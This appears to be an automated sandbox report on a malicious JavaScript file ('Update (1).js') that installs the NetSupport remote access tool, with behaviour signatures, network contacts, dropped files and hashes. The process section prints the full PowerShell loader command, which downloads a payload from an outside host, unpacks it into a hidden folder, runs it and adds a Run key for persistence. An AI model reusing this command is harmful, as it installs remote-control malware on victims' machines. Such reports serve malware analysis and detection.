Analysis Overview
SHA256
cdd9798b8cfc59617f38456b48dd5a6d0a2bb793dfd59f1684175a1a8ba48ab6
Threat Level: Known bad
The file Update (1).js was found to be: Known bad.
Malicious Activity Summary
NetSupport
Command and Scripting Interpreter: PowerShell
Blocklisted process makes network request
Executes dropped EXE
Loads dropped DLL
Checks computer location settings
Adds Run key to start application
Command and Scripting Interpreter: JavaScript
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-10-10 17:32
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-10-10 17:32
Reported
2024-10-10 17:34
Platform
win7-20240903-en
Max time kernel
121s
Max time network
121s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\wscript.exe | N/A |
| N/A | N/A | C:\Windows\system32\wscript.exe | N/A |
| N/A | N/A | C:\Windows\system32\wscript.exe | N/A |
| N/A | N/A | C:\Windows\system32\wscript.exe | N/A |
Command and Scripting Interpreter: JavaScript
Processes
C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Update (1).js"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | megaarmshop.com | udp |
| US | 185.33.87.223:443 | megaarmshop.com | tcp |
| US | 185.33.87.223:443 | megaarmshop.com | tcp |
| US | 185.33.87.223:443 | megaarmshop.com | tcp |
| US | 185.33.87.223:443 | megaarmshop.com | tcp |
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-10-10 17:32
Reported
2024-10-10 17:33
Platform
win10v2004-20241007-en
Max time kernel
42s
Max time network
43s
Command Line
Signatures
NetSupport
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\wscript.exe | N/A |
| N/A | N/A | C:\Windows\system32\wscript.exe | N/A |
| N/A | N/A | C:\Windows\system32\wscript.exe | N/A |
| N/A | N/A | C:\Windows\system32\wscript.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\UKYRELYGCF = "C:\\Users\\Admin\\AppData\\Roaming\\VZFWKDWB-3\\client32.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4752 wrote to memory of 1028 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4752 wrote to memory of 1028 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1028 wrote to memory of 3992 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.exe |
| PID 1028 wrote to memory of 3992 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.exe |
| PID 1028 wrote to memory of 3992 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Update (1).js"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $UOEFHK='https://megaarmshop.com/trade/d.php?7609';$IUVDPZTOO=(New-Object System.Net.WebClient).DownloadString($UOEFHK);$AJDHU=[System.Convert]::FromBase64String($IUVDPZTOO);$asd = Get-Random -Minimum -5 -Maximum 12; $JUEIHZ=[System.Environment]::GetFolderPath('ApplicationData')+'\VZFWKDWB'+$asd;if (!(Test-Path $JUEIHZ -PathType Container)) { New-Item -Path $JUEIHZ -ItemType Directory };$p=Join-Path $JUEIHZ 'CXCC.zip';[System.IO.File]::WriteAllBytes($p,$AJDHU);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$JUEIHZ)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $JUEIHZ 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $JUEIHZ -Force; $fd.attributes='Hidden';$s=$JUEIHZ+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='UKYRELYGCF';$ASDASD='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $ASDASD;
C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.exe
"C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | megaarmshop.com | udp |
| US | 185.33.87.223:443 | megaarmshop.com | tcp |
| US | 8.8.8.8:53 | r11.o.lencr.org | udp |
| GB | 2.23.210.82:80 | r11.o.lencr.org | tcp |
| US | 8.8.8.8:53 | 0.205.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 223.87.33.185.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 40.13.222.173.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 71.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 82.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 185.33.87.223:443 | megaarmshop.com | tcp |
| US | 5.181.159.137:443 | tcp | |
| US | 8.8.8.8:53 | geo.netsupportsoftware.com | udp |
| US | 104.26.1.231:80 | geo.netsupportsoftware.com | tcp |
| US | 104.26.1.231:80 | geo.netsupportsoftware.com | tcp |
| US | 104.26.1.231:80 | geo.netsupportsoftware.com | tcp |
| US | 8.8.8.8:53 | 137.159.181.5.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 231.1.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 53.210.109.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
Files
memory/1028-8-0x00007FFE848D3000-0x00007FFE848D5000-memory.dmp
memory/1028-14-0x0000011D7AE30000-0x0000011D7AE52000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0xhmuxmt.f0r.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1028-16-0x00007FFE848D0000-0x00007FFE85391000-memory.dmp
memory/1028-20-0x00007FFE848D0000-0x00007FFE85391000-memory.dmp
memory/1028-22-0x0000011D60CA0000-0x0000011D60CAA000-memory.dmp
memory/1028-23-0x0000011D7B2D0000-0x0000011D7B2E2000-memory.dmp
C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.exe
| MD5 | c4f1b50e3111d29774f7525039ff7086 |
| SHA1 | 57539c95cba0986ec8df0fcdea433e7c71b724c6 |
| SHA256 | 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d |
| SHA512 | 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5 |
C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\PCICL32.dll
| MD5 | d3d39180e85700f72aaae25e40c125ff |
| SHA1 | f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15 |
| SHA256 | 38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5 |
| SHA512 | 471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f |
C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\pcichek.dll
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\MSVCR100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
memory/1028-90-0x00007FFE848D0000-0x00007FFE85391000-memory.dmp
C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\NSM.LIC
| MD5 | e9609072de9c29dc1963be208948ba44 |
| SHA1 | 03bbe27d0d1ba651ff43363587d3d6d2e170060f |
| SHA256 | dc6a52ad6d637eb407cc060e98dfeedcca1167e7f62688fb1c18580dd1d05747 |
| SHA512 | f0e26aa63b0c7f1b31074b9d6eef88d0cfbc467f86b12205cb539a45b0352e77ce2f99f29baeab58960a197714e72289744143ba17975699d058fe75d978dfd0 |
C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.ini
| MD5 | 15221731b8c78d255535a98220f55385 |
| SHA1 | 917cba1d62dc16241700ac2027a67b62dbd03450 |
| SHA256 | b23705ddaf4dd0da82ea5c70f7b406f13529b624dfcf8ec2c9099c07de5b997d |
| SHA512 | 0883c5b8bd9865fa31614f7c8054144323dd4fc5acd73f7e1dec1782b1bdb2da7f7af4aa9bba76847eee42a566c5843b2f021accab477805babab89db6dccf03 |
C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\HTCTL32.DLL
| MD5 | c94005d2dcd2a54e40510344e0bb9435 |
| SHA1 | 55b4a1620c5d0113811242c20bd9870a1e31d542 |
| SHA256 | 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899 |
| SHA512 | 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a |